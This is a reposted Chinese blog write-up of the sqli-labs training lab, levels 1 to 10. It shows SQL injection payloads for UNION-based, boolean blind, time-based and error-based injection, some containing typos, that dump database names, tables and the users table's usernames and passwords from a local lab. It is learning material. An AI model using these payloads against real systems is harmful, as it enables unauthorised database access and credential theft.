ICode9

精准搜索请尝试: 精确搜索
首页 > 数据库> 文章详细

sqli-labs个人注入心得

2020-02-02 11:38:32  阅读:369  来源: 互联网

标签:name Less 数据库 labs sqli table 心得 id schema


闭合方式类型都有一般是’,",或 无闭合符号 或 '),")

Less-1

尝试?id=1

注释符号为–+、-- 、#。
当尝试?id=1’)时

很明显是属于单引号闭合方式
用–+注释掉后面的

接下来就要判断一下列数?id=1’ order by 10–+,发现

多试验几次后 得到共有三列数据接着进行联合查询?id=X’(x不等于1,2,3) union select 1,2,3–+,这里将id等于一个数据库不存在的数,通过联合查询能看出我们输入的数据在哪里能够显示出来。

在2,3的位置可以插入我们想用的语句了,接下来要做的就是爆数据表 开始之前,已经知道在MySQL中有information_schema这个库,该库存放了所有数据库的信息。
{
数据库经常引用的词汇!
information_schema.columns包含所有表的字段
table_schema 数据库名
table_name 表名
column_name 列名
information_schema.tables包含所有库的表名
table_schema 数据库名
table_name 表名
information_schema.schemata包含所有数据库的名
schema_name 数据库名
group_concat()函数功能:将group by产生的同一个分组中的值连接起来,返回一个字符串结果。}
爆数据库名:
后采用联合注入查看当前数据库名和数据库版本号

查询时发现只返回前面一条的查询数据,那就把id=-1,让前面的查询为空,就会返回后面的查询结果

http://10.2.10.31/sqli-labs/Less-1/?id=-1’ union select 1,database(),version() --+

得到数据库名security和版本号

爆列表:?id=0’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=‘security’–+

然后进行爆字段?id=0’ union select 1,(select group_concat(column_name) from information_schema.columns where table_name=‘users’),3 --+

接下来把用户名和密码全爆出来?id=0’ union select 1,group_concat(username,0x3a,password),3 from users --+

{0x3a不加以后的情况}

Less-2

判断是无闭合符号
只需要把第一关的id=0后面的’去掉就可以了。
Less-3

闭合方式为’)
同第二关

Less-4

判断为”)闭合
(“1”不显示 说明已经被闭合了本该显示的 )
剩下的等同于第一关

Less-5(何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显 到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注。从 background-1 中,我们可以知道盲注分为三类 •基于布尔 SQL 盲注 •基于时间的 SQL 盲注 •基于报错的 SQL 盲注

先判断闭合方式

单引号闭合判断而且经过判断为布尔盲注(正确的时候返回 you are in 错误时候不返回任何值)、
(1)利用 left(database(),1)进行尝试 http://127.0.0.1/sqllib/Less-5/?id=1%27and%20left(version(),1)=5%23

查看一下 version(),数据库的版本号为 5.7.26,这里的语句的意思是看版本号的第一位是 不是 5,返回的结果是正确的。

接下来看一下数据库的长度 http://127.0.0.1/sqli-labs/Less-5/?id=1%27and%20length(database())=8%23 长度为 8 时,返回正确结果,说明长度为 8.

猜测数据库第一位 (已知security)http://127.0.0.1/sqli-labs/Less-5/?id=1%27and%20left(database(),1)%3E%27a%27–+
很明显第一位是s大于a> a, 所以返回正确。当我们不知情的情况下,可以使用二分法来提高注入的效率。 接下来等同这一步操作。
直到猜到security的数据库名

接下来运用利用 substr() ascii()函数:
ascii(substr((select table_name information_schema.tables where
tables_schema=database()limit 0,1),1,1))=101

方法二:
报错注入
公式 AND (SELECT 1 FROM (SELECT COUNT(*),CONCAT((payload),FLOOR (RAND(0)*2))X FROM INFORMATION_SCHEMA.TABLES GROUP BY X)A)

{payload 为自己构造的sql语句 (select group_concat(schema_name) from information_schema.schemata)}

union Select 1,count(*),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)*2))a from information_schema.columns group by a–+

得到如下结果:

利用 double 数值类型超出范围进行报错注入

Less-6
先判断闭合条件

双引号闭合 可以参照第五关的布尔盲注

Less-7
判断闭合条件

思考半天还是没有什么思路就暂且放弃了

Less-8

测试注入点:
127.0.0.1/sqli-labs/Less-8/?id=1’

发现无回显

写入注释后

有回显
说明我们已经成功闭合了
先判断字符长度
/Less-8/?id=1’ and if(length(database())>8,1,sleep(5)) --+

判断为8
接下来爆数据库名
/?id=1’ and If(ascii(substr(database(),1,1))=115,1,sleep(5))–+

得到数据库名第一个字母s 接着同样的测试得到全部的数据库名。
Less-9
无论如何尝试 页面始终没有任何变化 判断为时间盲注
尝试?id=1’ and if(ascii(substr(database(),1,1))>115, 0, sleep(5))#,页面过了一会响应,判断闭合方式为单引号。
得到第一位为s接下来尝试第二位:?id=1’ and if(ascii(substr(database(),2,1))>115, 0, sleep(5))#

得到数据库名为security
接下来猜测列表名
127.0.0.1/sqli-labs/Less-9/?id=1’and If(ascii(substr((select table_name from informatiochema.tables where table_schema=‘security’ limit 0,1),1,1))=101,1,sleep(5))–+ 猜测第一个数据表的第一位是 e,…依次类推,得到 emails
127.0.0.1/sqli-labs/Less-9/?id=1’and If(ascii(substr((select table_name from informatiochema.tables where table_schema=‘security’ limit 1,1),1,1))=114,1,sleep(5))–+ 猜测第二个数据表的第一位是 r,…依次类推,得到 referers

Less-10

将第九关的’换为” 就可过关。

hecker_chicken 发布了1 篇原创文章 · 获赞 0 · 访问量 9 私信 关注

标签:name,Less,数据库,labs,sqli,table,心得,id,schema
来源: https://blog.csdn.net/hecker_chicken/article/details/104142746

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有